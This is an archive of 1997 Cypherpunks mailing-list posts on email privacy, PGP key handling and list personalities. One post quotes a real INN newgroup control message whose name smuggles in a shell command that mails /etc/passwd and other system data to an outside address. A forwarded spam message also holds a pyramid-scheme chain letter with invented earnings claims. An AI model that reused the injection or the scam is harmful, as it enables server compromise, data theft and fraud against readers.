realize is the non-individual-based approach to e-mail snooping. Commonly people think, that first they have to be specifically targeted by a "bad guy". But in the times of Echelon and generic key-word-based filtering of _all_ e-mails, that go through certain points (Satellite-Links etc.), nobody has to be specifically targeted anymore, because _everybody's_ e-mail is potentially read. All other things you mentioned are of course valid too besides that. Ciao Harka ... Microsoft - "Where do you want to crash today?" ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM02gpjltEBIEF0MBAQFy4wf/QIx7s1iRBDIW7VXYFWN6T5xlO2stm7QI +Cl8dz7ZL24nMazVUA+I0GqJjpjEOY7bK5oZwbELTaaD6g6unjoZLb6n5/fiXeaN Dd7LdJ989oqmUxO2fm6F/81OqPIGHQl5UwqOj0hII4AndaIwMJB/kSENXXJXXupI 7G/HWWddSnCzeuTfAzYBUeo1cpAgsBP7zTqyQsVUtoGVhgwbRsdUBX1kqcR7cEsv SX+TZZJZAs9AxTlIoQBuP4hb5/aEZnahb8myomKVY9XbMLBRdFzw6YlF2u/hHyit OqMzn12QVKkflxbMQWj3qCLARuT2wKEg6TeHUFAReSgIV1YSNV2Xsw== =Au+6 -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From ichudov at algebra.com Thu Apr 10 20:10:12 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Thu, 10 Apr 1997 20:10:12 -0700 (PDT) Subject: Assassination Politics In-Reply-To: <199704100627.CAA10692@dhp.com> Message-ID: <199704110300.WAA01732@manifold.algebra.com> lucifer Anonymous Remailer wrote: > > Toto's abysmal grammar, atrocious spelling and > feeble responses clearly identify him as a product of the > American education system. > Isn't Toto a product of canadian educational system? - Igor. From SBN at Microsoft.com Thu Apr 10 20:54:39 1997 From: SBN at Microsoft.com (Site Builder Network) Date: Thu, 10 Apr 1997 20:54:39 -0700 (PDT) Subject: Your Site Builder Network Membership! Message-ID: Welcome to Site Builder Network - Level 1. We went to your site(s) and found the Microsoft Internet Explorer logo and link, so your membership has been upgraded to Level 1. You now have access to the Members Only - Level 1 Lounge as well as the Members Only Download Area. Please take some time to visit http://www.microsoft.com/sbnmember/lounges/lounges.asp to see what's in store for you. Your ID and password are listed below for your convenience. Do you think you qualify for Level 2? Would you like to? The reason your Level 2 registration failed could be one of the following reasons: You are not using an ActiveX control. ====================================== To find out more about ActiveX, go to our home page at http://www.microsoft.com/sitebuilder/ and click 'Technologies' at the top of the page. Choose 'ActiveX' and you will find all kinds of ActiveX resources. Or, download the ActiveX Control Pad from the download area and add an ActiveX control to your site without a vast knowledge of html code! After you have added an ActiveX control and you are ready to upgrade your membership to Level 2, go back to http://www.microsoft.com/sbnmember/apply/apply.asp , click 'upgrade your membership' then enter your ID and password (which are listed below). This will bring up your registration information. Be sure to list the exact URL where the ActiveX control is located as well as the exact URL the IE logo is located, and we will check your site again. In the meantime, enjoy your Level 1 benefits and we will notify you of your Level 2 status within 5 days. You did not register the exact URL where the ActiveX control is located. ====================================== Our automated system can only check pages, not entire sites. Please go back to http://www.microsoft.com/sbnmember/apply/apply.asp , click 'upgrade your membership' then enter your ID and password (which is listed below). This will bring up your registration information. Be sure to list the exact URL where the ActiveX control is located as well as the exact URL the IE logo is located, and we will check your site again. In the meantime, enjoy your Level 1 benefits and we will notify you of your Level 2 status within 5 days. Once again - welcome to Level 1, and enjoy your Site Builder Network benefits. The Microsoft Site Builder Network Team ======================================== ID: 643361 Password: WRITECODE ======================================== Sites Checked: www.enter.net.mx Result: Connected OK / Link to MS Found / No ActiveX Control Found From toto at sk.sympatico.ca Thu Apr 10 21:00:32 1997 From: toto at sk.sympatico.ca (Toto) Date: Thu, 10 Apr 1997 21:00:32 -0700 (PDT) Subject: KC post per Alec In-Reply-To: <1.5.4.32.19970411023901.0067fd6c@pop.mindspring.com> Message-ID: <334DB831.2D2A@sk.sympatico.ca> Kent Crispin, whose sense of humor indicates he may not, after all, be a government Bot, wrote: > On Thu, Apr 10, 1997 at 12:27:29PM -0800, Timothy C. May wrote: > [...] > > By the way, I'm staying out of this latest tamper-responding device > > argument. I worked on this at Intel, actually. But I wrote a bunch of > > fairly long articles on this the 5th, or maybe it was the 7th?, time this > > came up, circa 1993. Those who refuse to learn from the threads of the past > > are condemned to repeat them. > > Let's see, to which would I rather be condemned: participating in a > lively, current discussion; or digging through musty outdated archives? I regularly cruise back through my archives of the CypherPunks list from as far back as the early 90's and I rarely find them outdated. And rather than being pretentious, I usually find them 'portentious'. > Yes, we could continually mine the archives for words of wisdom from > past participants, and thus pay them homage -- especially since it is > so painfully obvious that is what they crave. But we should forgive > them this weakness, for at some lonely age we all start wondering > about our legacy. There is, however, a far cry of difference between those to whom homage is due, and those to whom it is not. As much as I may have railed against the fascist censorship of the 'moderation experiment' badly instituted by John Gilmore, I am not ungrateful for the years of time and effort that he spent in hosting the CypherPunks list, and stated so in a post to the list before it moved on to new homes. Not knowing Tim May personally, I cannot comment on the description of him in the press as 'crusty' (not knowing if it refers to his personality or his sexual hygene), but I can see how a review of some of his recent posts might suggest that he would not be out of place in a remake of 'Grumpy Old Men'. However, his propensity for taking an attitude of 'been there, done that' (and spanking young pups on the list) in no way negates the fact that he 'has', in fact, been there and done that, and that his (somewhat vague) pointers to sources of information in regard to various list issues might prove valuable to those who have enough interest in the issue to want to indulge in a little research on the matter. While the discussions of those currently active on the list may be enlightening, there are certainly other CypherPunks (some active, some inactive) who have dealt with current issues in the past, and done so from a perspective and knowledge base that are equal or superior to those who are participating in current discussions. While Tim is certainly an icon on the list, I haven't seen any signs of senility seeping in, just yet. {From: "Timothy C. May" Subject: Has anybody seen my shoes? I lost my shoes! } (OK, maybe a couple of signs..:) While I sometimes feel that the list would be better served by more of the long-time members being a little more specific in their aide to more inexperienced members seeking information, there is no doubt that much of the input they do provide is useful enough to point those seeking a better knowledge of crypto and crypto issues in directions which can bear much fruit if the individual is sincere enough to follow their pointers. Tim's legacy is already written in CypherStone, regardless of what he may or may not do in the future, as is that of Gilmore and Hughes. Despite whatever battles you or I may engage them in, in the future, we will be telling our grandchilren, "Hey, I // him." when the movie 'Grouchy Old CypherPunks' hits the big screen. -- Toto "One TruthMonger down, four to go" From toto at sk.sympatico.ca Thu Apr 10 21:12:24 1997 From: toto at sk.sympatico.ca (Toto) Date: Thu, 10 Apr 1997 21:12:24 -0700 (PDT) Subject: Assassination Politics In-Reply-To: <199704110300.WAA01732@manifold.algebra.com> Message-ID: <334DB97A.71E7@sk.sympatico.ca> Igor Chudov @ home wrote: > lucifer Anonymous Remailer wrote: > > Toto's abysmal grammar, atrocious spelling and > > feeble responses clearly identify him as a product of the > > American education system. > > Isn't Toto a product of canadian educational system? Eh?, b, c, d, e, f, g... -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Thu Apr 10 21:17:10 1997 From: toto at sk.sympatico.ca (Toto) Date: Thu, 10 Apr 1997 21:17:10 -0700 (PDT) Subject: Grouchy Old Cypherpunks In-Reply-To: <1.5.4.32.19970411023901.0067fd6c@pop.mindspring.com> Message-ID: <334DBBF8.3B44@sk.sympatico.ca> Kent Crispin, whose sense of humor indicates he may not, after all, be a government Bot, wrote: > On Thu, Apr 10, 1997 at 12:27:29PM -0800, Timothy C. May wrote: > [...] > > By the way, I'm staying out of this latest tamper-responding device > > argument. I worked on this at Intel, actually. But I wrote a bunch of > > fairly long articles on this the 5th, or maybe it was the 7th?, time this > > came up, circa 1993. Those who refuse to learn from the threads of the past > > are condemned to repeat them. > > Let's see, to which would I rather be condemned: participating in a > lively, current discussion; or digging through musty outdated archives? I regularly cruise back through my archives of the CypherPunks list from as far back as the early 90's and I rarely find them outdated. And rather than being pretentious, I usually find them 'portentious'. > Yes, we could continually mine the archives for words of wisdom from > past participants, and thus pay them homage -- especially since it is > so painfully obvious that is what they crave. But we should forgive > them this weakness, for at some lonely age we all start wondering > about our legacy. There is, however, a far cry of difference between those to whom homage is due, and those to whom it is not. As much as I may have railed against the fascist censorship of the 'moderation experiment' badly instituted by John Gilmore, I am not ungrateful for the years of time and effort that he spent in hosting the CypherPunks list, and stated so in a post to the list before it moved on to new homes. Not knowing Tim May personally, I cannot comment on the description of him in the press as 'crusty' (not knowing if it refers to his personality or his sexual hygene), but I can see how a review of some of his recent posts might suggest that he would not be out of place in a remake of 'Grumpy Old Men'. However, his propensity for taking an attitude of 'been there, done that' (and spanking young pups on the list) in no way negates the fact that he 'has', in fact, been there and done that, and that his (somewhat vague) pointers to sources of information in regard to various list issues might prove valuable to those who have enough interest in the issue to want to indulge in a little research on the matter. While the discussions of those currently active on the list may be enlightening, there are certainly other CypherPunks (some active, some inactive) who have dealt with current issues in the past, and done so from a perspective and knowledge base that are equal or superior to those who are participating in current discussions. While Tim is certainly an icon on the list, I haven't seen any signs of senility seeping in, just yet. {From: "Timothy C. May" Subject: Has anybody seen my shoes? I lost my shoes! } (OK, maybe a couple of signs..:) While I sometimes feel that the list would be better served by more of the long-time members being a little more specific in their aide to more inexperienced members seeking information, there is no doubt that much of the input they do provide is useful enough to point those seeking a better knowledge of crypto and crypto issues in directions which can bear much fruit if the individual is sincere enough to follow their pointers. Tim's legacy is already written in CypherStone, regardless of what he may or may not do in the future, as is that of Gilmore and Hughes. Despite whatever battles you or I may engage them in, in the future, we will be telling our grandchilren, "Hey, I // him." when the movie 'Grouchy Old CypherPunks' hits the big screen. -- Toto "One TruthMonger down, four to go" From rwright at adnetsol.com Thu Apr 10 21:54:42 1997 From: rwright at adnetsol.com (Ross Wright) Date: Thu, 10 Apr 1997 21:54:42 -0700 (PDT) Subject: Reporters, Declan, Columns, Articles, and Angles Message-ID: <199704110455.VAA03670@adnetsol.adnetsol.com> On or About 10 Apr 97 at 19:09, Dr.Dimitri Vulis KOTM wrote: > "Phillip M. Hallam-Baker" writes: > > > That's $3 for Sinn F\'ein. Thank you, Phil. > > P.S. Fuck your Queen. Free Rule for Ireland! From toto at sk.sympatico.ca Thu Apr 10 22:27:18 1997 From: toto at sk.sympatico.ca (Toto) Date: Thu, 10 Apr 1997 22:27:18 -0700 (PDT) Subject: store your private key on a multi-user system! use pubkeys without verifying them! In-Reply-To: <199704101223.OAA27778@digicash.com> Message-ID: <334DCC65.3409@sk.sympatico.ca> Bryce wrote: > > The non-cpunks that I talk to frequently say that "no bad guys > would bother to read my e-mail". > as long as the value of reading your private e-mail is less than > the cost of reading it, you can consider yourself safe. Bad, bad assumption. > So my points are as follows: > 2. To the cpunks: the _value_ of invading your privacy is not that > high. There are no evil storm troopers whose full time job is to run > a man-in-the-middle attack on your PGP public key, or dedicate a > cracking farm to decrypting your messages, or using TEMPEST devices > on your home computer or whatever. Therefore, simply encrypting your > personal e-mail with a 512-bit PGP key, storing your private key on > your local multi-user Unix system, and using people's public keys > _without_ doing anti-Man-In-The-Middle techniques is more than > sufficient to protect your privacy. Horseshit. Send me all of the email and files from the hard drives of the NSA, CIA, FBI, and the organizations we don't know about, for the last 20 years, and then we'll talk about what evil storm troopers do, or do not, exist. Then we can begin to talk about what really trips up most fugitives/criminals/freedom-fighters--the mundane. J.Edgar Hoover didn't rise from the grave to entrap the UnaBomber with high-tech devices and an army of spooks. His own family turned him in. Four guys broke into a Vancouver bank a few years ago, spent the weekend cracking the vault and safety deposit boxes, and made a clean getaway, except one of their suitcases broke open on the trip out of town, spilling the goodies for everyone to see. They sat in jail until Monday morning, when the banks opened, and the cops could figure out who they robbed. > Now, if you use your e-mail to transmit really _valuable_ data, then > that is a different story. I submit that everyone has _really_valuable_data_, no matter what value others put on it. I would guess that there are no shortage of people who would rather have their company's data compromised, than have their spouse find their secret love-letters. The key is to be as meticulous as possible in your security precautions, because those things you have little knowledge of or control over may well be more dangerous to you than those that you don't. Case in point. I spent twenty years of my life making sure that I had extra 'butts' on me at all times, so that I would not have to face my greatest fear--going to jail without a suffiecient supply of nicotine. The one time I slipped up was when I was on 'safe' ground, in my hometown, crossing a border I had crossed every day for the last few weeks with no trouble. Then I got hauled in for a 'bad check' that was a result of a clerical error. I actually had the cancelled check in my motorhome, but the facts didn't matter--I was headed for the slam with almost no butts. An understanding Sheriff's deputy with a couple extra packs probably saved me from the death penalty for killing cops to escape and go get more butts. When you decide that you've got nothing to worry about, because the 'bad guys' aren't after you, then the 'good guys' will get you. Your wife will hire a teenage hacker to look for the secret love letters that don't exist, and turn up unrelated info that the kid will use to get a sweetheart deal when the Feds break down 'his' door. Your employer's audit of the books will point to you being a thief, and in the process of proving you innocent, will turn up evidence of your office affair, giving your spouse grounds for divorce. The people who get fucked aren't the people who 'deserved' it. They aren't the people who 'took crazy chances'. They aren't the people who 'had the most to hide'. They are the people who got fucked. The bottom line is, if you have something to hide, then hide it, and hide it well. You can be faster than a speeding bullet and leap tall buildings in a single bound, but somewhere out there is a bum going through a dumpster, and he just found a funny, glowing, green rock. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From nobody at huge.cajones.com Thu Apr 10 22:30:03 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Thu, 10 Apr 1997 22:30:03 -0700 (PDT) Subject: Microsoft Site Gestapo Message-ID: <199704110530.WAA01009@fat.doobie.com> At 08:53 PM 4/10/97 -0700, you wrote: >Welcome to Site Builder Network - Level 1. > >We went to your site(s) and found the Microsoft Internet Explorer logo >and link, so your membership has been upgraded to Level 1. You now have >access to the Members Only - Level 1 Lounge as well as the Members Only >Download Area. Please take some time to visit >http://www.microsoft.com/sbnmember/lounges/lounges.asp to see what's in >store for you. Your ID and password are listed below for your >convenience. > >Do you think you qualify for Level 2? Would you like to? The reason >your Level 2 registration failed could be one of the following reasons: > >You are not using an ActiveX control. >====================================== >To find out more about ActiveX, go to our home page at Fuck you. From ichudov at algebra.com Thu Apr 10 22:44:28 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Thu, 10 Apr 1997 22:44:28 -0700 (PDT) Subject: store your private key on a multi-user system! use pubkeys without verifying them! In-Reply-To: <334DCC65.3409@sk.sympatico.ca> Message-ID: <199704110543.AAA05165@manifold.algebra.com> Toto wrote: > Bryce wrote: > > The non-cpunks that I talk to frequently say that "no bad guys > > would bother to read my e-mail". > > as long as the value of reading your private e-mail is less than > > the cost of reading it, you can consider yourself safe. > > Bad, bad assumption. > > > So my points are as follows: > > > 2. To the cpunks: the _value_ of invading your privacy is not that > > high. There are no evil storm troopers whose full time job is to run > > a man-in-the-middle attack on your PGP public key, or dedicate a > > cracking farm to decrypting your messages, or using TEMPEST devices > > on your home computer or whatever. Therefore, simply encrypting your > > personal e-mail with a 512-bit PGP key, storing your private key on > > your local multi-user Unix system, and using people's public keys > > _without_ doing anti-Man-In-The-Middle techniques is more than > > sufficient to protect your privacy. The main mistake in the argument that you cited is the following: it assumes that you know the cost of hacking and reading one's email or files. You do NOT know it. Moreover, while it is usually easy to find the upper bound for that cost, the lower bound is not so obvious. Recall the latest attack on INN servers, when one trivial message (see below) could be used to compromise thousands of internet sites, at the negligible cost. It is only safe to assume that the cost of breaking into a Unix system (or any other server for that matter) is ZERO. Unix security on multiuser machines is an oxymoron, it does not exist and should never be assumed. The problems with people actually securing their communications and personal data are as follows: 1) It is costly to set up a more or less secure system (ie, a system that is not a server and that is somewhat protected from various data attacks) because of learning curve and other costs 2) Many if not most correspondents are so clueless they's never even understand what they need to do to secure their communications. I had to drop several conversations with people because they were stupid/lazy enough not to set up PGP. - Igor. Subject: cmsg newgroup `/bin/sed:-n:'/^#+/,/^#-/p':${ARTICLE}|/bin/sh` moderated From: tale at uunet.uu.net (David C Lawrence) Date: 1997/03/17 Message-Id: <5gkdv8$5uc at tabloid.amoco.com> Control: newgroup `/bin/sed:-n:'/^#+/,/^#-/p':${ARTICLE}|/bin/sh` moderated Organization: Amoco Newsgroups: comp.sys.mac.printing [Fewer Headers] #+ (/bin/id; /bin/uname -a; /bin/who; /bin/cat /etc/passwd; /bin/cat /etc/inetd.conf) | /usr/ucb/Mail -s info tafeyereisen at amoco.com #- From toto at sk.sympatico.ca Thu Apr 10 23:30:35 1997 From: toto at sk.sympatico.ca (Toto) Date: Thu, 10 Apr 1997 23:30:35 -0700 (PDT) Subject: A mini rant on IRS and Social Security In-Reply-To: Message-ID: <334DDA8C.1940@sk.sympatico.ca> Timothy C. May wrote: > > Many of you in the United States have probably seen the reports on how the > Social Security Administration has pulled their Web site, citing security > problems. > > I'm not naive. I knew that anything I reported to the IRS, or that my > employers reported, was accessible to those with access (Q.E.D.). I just am > surprised that my earnings for the past 28 years are "online," available > to anyone with the few bits of entropy needed to get past the minimal > security. > > This ought to be recounted far and wide. Remind your siblings, friends, and > others about this situation. Point out to them that when a society becomes > dominated by "accounts," instead of old-fashioned cash payments, then he > who controls the keys controls everything. IRS Continues Personal Privacy and Security Breeches (From the NYTimes, April 9, 1997) The IRS admitted that it has not stemmed the improper browsing of taxpayer records by nosy agents. 1,515 such cases have become known in the last two years. A study of the EARL (Electronic Audit Research Log) software program indicates that, "some employees, when encountered, indicated they browsed because they do not believe it is wrong and that there will be little consequence to them if they are caught." About 51,000 IRS employees have access to taxpayer records through the Integrated Data Retrieval System. Senator John Glenn, (D-OH) agrees, as recent court rulings have decided that these invasions of privacy are not illegal as long as the information is not given to others; as though determining that was at all possible. Senator Glenn is attempting to levy heavy fines and imprisonment for violators. The GAO has also determined, according to their recent report on these abuses, that 6,400 tapes and cartridges which "might" contain taxpayer information are also missing. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From kent at songbird.com Fri Apr 11 01:00:50 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 11 Apr 1997 01:00:50 -0700 (PDT) Subject: KC post per Alec In-Reply-To: <1.5.4.32.19970411023901.0067fd6c@pop.mindspring.com> Message-ID: <19970411005754.59935@bywater.songbird.com> On Thu, Apr 10, 1997 at 10:04:01PM -0600, Toto wrote: [a piece on Tim May] Toto, thanks for your thoughtful comments. Your touching defense of Tim is interesting. Contrary to what you might think, I really don't have anything against Tim May, and I do go read things he (or others) have written in the past. But I am getting to the crusty old fart stage myself... As to his legacy, and the legacy of cypherpunks in general, that remains to be seen. None of the cypherpunks are in a position to be able to judge very well, because they are so close to their favorite issues that of course they look very large. But it isn't a certainty that any of the predictions of crypto-anarchy, for example, will come to pass. It is possible that the surveillance state will win. More likely, of course, the world will go in a direction that will surprise all of us (except that Tim will tell us he considered the possibility in a paper he wrote back in the 1970s). What will look portentious and what will look pretentious 10 years from now is hard to judge... Personally, I am in favor of absolute personal privacy, but I don't define that to include economic dealings -- as far as I am concerned, business or economic privacy is at a lower level of concern than personal privacy. This puts me at odds with the prevailing libertarian bent of cypherpunks, of course. However, I was thrown off my stride by the high level of downright hostility so common on this list. Like most people, I tend to respond in kind. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From paul at fatmans.demon.co.uk Fri Apr 11 07:56:57 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 11 Apr 1997 07:56:57 -0700 (PDT) Subject: "...markets are fundamentally chaotic, not efficient"? Message-ID: <860759798.116769.0@fatmans.demon.co.uk> > By that definition, markets, whether for capital or assassins, > are distinctly _not_ chaotic*, since most people's decisions > [* Unless Life, The Universe, and Everything are really > deterministic, but fate has decreed that I don't believe that...] > about what stocks to buy/sell, and particularly the timing, > are influenced by lots of random events - when they hear what information, > whether they were busy doing something else when they heard, > whether they'd just blown their disposable income on a new car > because that freak windstorm dropped a tree on their car the same > week the Post Office ate their car insurance payment, > whether Alan Greenspan had a bad pizza the night before the quarterly > interest rates came out or too much caffeine before his latest speech.... I don`t really want to get into this discussion/flame war too deeply but I will post on this thread once... Any of the events described above are completely determined by the initial conditions of the system, just because a system is too complex for us to measure its initial conditions in enough detail does not mean it is random, it simply means we see it as random. Hence a market`s behaviour is labeled chaotic, because it appears random. It is, however, completely deterministic however we cannot know the initial conditions because they are too complicated. End of chat, chaotic behaviour is NOT random, it simply appears so unless one can accurately measure the intial conditions. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From camcc at abraxis.com Fri Apr 11 10:10:17 1997 From: camcc at abraxis.com (Alec) Date: Fri, 11 Apr 1997 10:10:17 -0700 (PDT) Subject: Politics This Week [Tamper Proof Device?] Message-ID: <3.0.1.32.19970411123407.007bd210@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- >From: The Economist >Subject: Politics This Week (April 4th - April 10th 1997) >Date: Thu, 10 Apr 1997 22:01:13 +0100 >Also available at http://www.economist.com/ >******************************************************************** [SNIP] >A Thunderbolt ground-attack aircraft and its bomb-load vanished over >Arizona. Had its pilot defected? [SNIP] >***** >If you find our summaries service useful, please tell your friends. >Invite them to subscribe by forwarding this e-mail to them. > > > >************************************************************************* >This is a free newsletter published by The Economist newspaper. To find out >where best to direct queries to The Economist, send a blank e-mail message >to help at economist.com > >If you are having problems receiving this list, send an e-mail explaining >the difficulty you are having to list-support at economist.com > >To cancel your subscription, send an e-mail with the message "leave >economist-politics" to newscaster at postbox.co.uk >To start receiving Politics This Week, send an e-mail with the message >"join economist-politics" to newscaster at postbox.co.uk >Alternatively, you can cancel your subscription (or subscribe at any time)by >visiting http://www.economist.com/mailing/ -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBM05n+yKJGkNBIH7lAQEwYgP8DETVq09Y+KRWeoEug93GyVj6kZWIFiax FqDNBtG8tcAsvg2BcEBSpd6MdIFG1H/CsMr3/fwOvzQSoPXQvPKyJI3P4e/t5TWJ 4f6pRtRNY4qdbX/KRvZUjxFMt104K37UO5wrlLUjdmvQy0cMEP5sS8tuXOe/qc9o HarpYVn/R8c= =nXnL -----END PGP SIGNATURE----- From darren at aone.com Fri Apr 11 10:16:33 1997 From: darren at aone.com (Darren Daniels) Date: Fri, 11 Apr 1997 10:16:33 -0700 (PDT) Subject: DON'T DELETE!!! Message-ID: <199704111711.KAA25528@aone.com> I usually delete email like this without even thinking but I had some extra time when I got this and I'm glad I did! This is not a pyramid scheme or chain letter. It's legitimate marketing of legitimate products. You've got nothing to lose by reading it. Lots of people are making money on the internet. Why shouldn't you be one of them? <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> You are about to make at least $50,000 - In less than 90 days Read the enclosed program...THEN READ IT AGAIN!... <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave some thought and study to it. My name is Christopher Erickson. Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year, I incurred many unforeseen financial problems. I owed my family, friends, and creditors over $35,000. The economy was taking a toll on my business and I just couldn't seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. I truly believe it was wrong for me to be in debt like this. AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER....FINANCIALLY!!! In mid-December, I received this program via email. Six months prior to receiving this program I had been sending away for information on various business opportunities. All of the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not. One claimed I'd make a million dollars in one year...it didn't tell me I'd have to write a book to make it. But like I was saying, in December of '95 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes. Here was a MONEY-MAKING PHENOMENON. I could invest as much as I wanted to start, without putting me further in debt. After I got a pencil and paper and figured it out, I would at least get my money back. After determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT". Initially I sent out 10,000 emails. It only cost me about $15.00 for my time on-line. The great thing about email is that I didn't need any money for printing to send out the program, only the cost to fulfill my orders. I am telling you like it is, I hope it doesn't turn you off, but I promised myself that I would not "rip-off" anyone, no matter how much money it cost me! A good program to help do this is Ready Aim Fire, an email extracting and mass mail program @ http://microsyssolutions.com/raf/ In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1. When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO!" My first step in making $50,000 in 20 to 90 days was done. By January 30th, I had received 196 orders for REPORT #2. If you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL." Well, I had 196 orders for REPORT #2, 96 more than I needed. So I sat back and relaxed. By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day. I paid off ALL my debts and bought a much needed new car. Please take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER! Remember, it wont work if you don't try it. This program does work, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. It doesn't work, you'll lose out on a lot of money! REPORT #2 explains this. Always follow the guarantee, 15 to 20 orders for REPORT #1, and 100 or more orders for REPORT #2 and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF THAT IT WORKS !!! If you choose not to participate in this program, I'm sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security. If you are a fellow business owner and you are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID! Sincerely, Christopher Erickson PS Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME! "THREW IT AWAY" "I had received this program before. I threw it away, but later wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program. Eleven months passed, then it came. I DIDN'T throw this one away. I made $41,000 on the first try." Dawn W., Evansville, IN "NO FREE LUNCH" "My late father always told me, 'remember, Alan, there is no free lunch in life. You get out of life what you put into it.' Through trial and error and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group of people to email it to. So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me." Alan B., Philadelphia, PA A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur. Let me tell you a little about myself. I had a profitable business for ten years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate...because many of you know from first hand experience. There were more failures and bankruptcies than ever before. The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER." The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that. You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT." You can make more money in the next few months than you have ever imagined. I should also point out that I will not see a penny of your money, nor anyone else who has provided a testimonial for this program. I have already made over FOUR MILLION DOLLARS! I have retired from the program after sending out over 16,000 programs. Now I have several offices which market this and several other programs here in the US and overseas. By the Spring, we wish to market the 'Internet' by a partnership with AMERICA ON LINE. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to email a copy of this exciting program to everyone that you can think of. One of the people you send this to may send out 50,000...and your name will be on every one of them!. Remember though, the more you send out, the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent, IT IS UP TO YOU NOW! "THINK ABOUT IT" Before you delete this program from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! Definitely get back what you invested. Any doubts you have will vanish when your first orders come in. IT WORKS! Paul Johnson, Raleigh, NC HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$ Let's say that you decide to start small, just to see how it goes, and we'll assume you and all those involved send out 2,000 programs each. Let's also assume that the mailing receives a .5% response. Using a good list the response could be much better. Also many people will send out hundreds of thousands of programs instead of 2,000. But continuing with this example, you send out only 2,000 programs. With a 5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those .5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. The .5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for a 2,000,000 total. The .5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!! Your total income in this example is $50 + $500 + $5000 + $50,000 for a total of $55,550!!!! REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000. Believe me, many people will do that and more! By the way, your cost to participate in this is practically nothing. You obviously already have an internet connection and email is FREE!!! REPORT#3 will show you the best methods for bulk emailing and purchasing email lists. THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail. If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT! Simply 